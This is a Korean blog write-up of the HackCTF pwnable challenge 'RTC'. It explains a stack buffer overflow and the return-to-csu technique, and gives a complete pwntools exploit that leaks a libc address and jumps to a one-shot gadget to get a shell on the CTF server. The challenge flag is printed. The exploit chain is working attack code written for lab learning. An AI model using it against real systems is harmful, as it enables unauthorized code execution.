[HackCTF / pwnable] RTC

2019. 10. 22. 11:30Wargame & CTF/HackCTF

HackCTF - RTC

Summary

  • 64bit

  • return to csu

Analysis

main

int __cdecl main(int argc, const char **argv, const char **envp)
{
 char buf; // [rsp+0h] [rbp-40h]

 setvbuf(stdin, 0LL, 2, 0LL);
 write(1, "Hey, ROP! What's Up?\n", 0x15uLL);
 return read(0, &buf, 0x200uLL);
}

read에서 버퍼오버플로우가 생긴다.

return to csu 기법을 처음 해보았다.

__libc_csu_init 에서 2부분을 사용한다.

Dump of assembler code for function __libc_csu_init:
  ...생략...
  0x00000000004006a0 <+64>: mov   rdx,r13
  0x00000000004006a3 <+67>: mov   rsi,r14
  0x00000000004006a6 <+70>: mov   edi,r15d
  0x00000000004006a9 <+73>: call   QWORD PTR [r12+rbx*8]
  0x00000000004006ad <+77>: add   rbx,0x1
  0x00000000004006b1 <+81>: cmp   rbx,rbp
  0x00000000004006b4 <+84>: jne   0x4006a0 <__libc_csu_init+64>
  0x00000000004006b6 <+86>: add   rsp,0x8
  0x00000000004006ba <+90>: pop   rbx
  0x00000000004006bb <+91>: pop   rbp
  0x00000000004006bc <+92>: pop   r12
  0x00000000004006be <+94>: pop   r13
  0x00000000004006c0 <+96>: pop   r14
  0x00000000004006c2 <+98>: pop   r15
  0x00000000004006c4 <+100>: ret

__libc_csu_init+64부분과 __libc_csu_init+90부분을 사용하게 된다.

__libc_csu_init+90을 보면 rbx, rbp, r12, r13, r14, r15를 pop한다.

__libc_csu_init+64를 보면 r13->rbx, r14->rsi, r15d->edi를 하고 r12+rbx*8을 call한다.

일단 r13, r14, r15를 이용해서 rbx, rsi, edi를 채울수 있다는것을 알수있다.

r12+rbx*8을 call하므로 r12에는 함수의 got, rbx는 0을 넣으면 된다. qword ptr이기때문에 got를 줘야한다.

그리고 rbx에 1을 대입하고 rbx와 rbp를 비교해서 같지 않으면 다시 __libc_csu_init+64로 점프를 뛴다.

rbx와 rbp가 같아야 하므로 rbp에 1을 넣어준다.

__libc_csu_init+90을 call하고 0, 1, function_addr(got), rbx, rsi, edi를 주고 __libc_csu_init+64를 하면 원하는 함수가 실행된다.

원하는 함수가 실행되고 add rsp, 0x8 pop rbx pop rbp pop r12 pop r13 pop r14 pop r15를 하기 때문에 총 56바이트를 0으로 주면 된다.

write로 read의 주소를 구하고 libc_base를 구한 후 원샷가젯으로 쉘을 땄다.

Exploit

from pwn import *

e = ELF("./rtc")
#p = process("./rtc")
p = remote("ctf.j0n9hyun.xyz", 3025)
libc = ELF("./libc.so.6")

oneshot = 0x4526a

p.recvuntil("Hey, ROP! What's Up?\n")

payload = ""
payload += "A"*(0x40+0x8)
payload += p64(e.symbols["__libc_csu_init"]+90)
payload += p64(0x0)
payload += p64(0x1)
payload += p64(e.got["write"])
payload += p64(0x8)
payload += p64(e.got["read"])
payload += p64(0x1)
payload += p64(e.symbols["__libc_csu_init"]+64)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(0x0)
payload += p64(e.symbols["main"])

p.sendline(payload)

read_addr = u64(p.recvuntil("\x7f")[-6:] + "\x00\x00")
libc_base = read_addr - libc.symbols["read"]
p.recvuntil("Hey, ROP! What's Up?\n")

payload = ""
payload += "A"*(0x40+0x8)
payload += p64(libc_base + oneshot)
p.sendline(payload)

p.interactive()

Flag

cg10036@cg10036-virtual-machine:~/hackCTF/RTC$ p ex.py 
[*] '/home/cg10036/hackCTF/RTC/rtc'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   No canary found
  NX:       NX enabled
  PIE:     No PIE (0x400000)
[+] Opening connection to ctf.j0n9hyun.xyz on port 3025: Done
[*] '/home/cg10036/hackCTF/RTC/libc.so.6'
  Arch:     amd64-64-little
  RELRO:   Partial RELRO
  Stack:   Canary found
  NX:       NX enabled
  PIE:     PIE enabled
[*] Switching to interactive mode
$ cat flag
HackCTF{4ll_r1ght_c5u_1n1t!}


'Wargame & CTF > HackCTF' 카테고리의 다른 글

[HackCTF / pwnable] Beginner_Heap  (0) 2019.11.26
[HackCTF / pwnable] SysROP  (0) 2019.10.28
[HackCTF / pwnable] You are silver  (0) 2019.10.19
[HackCTF / pwnable] Unexploitable #1  (0) 2019.10.18
[HackCTF / pwnable] ROP  (0) 2019.10.18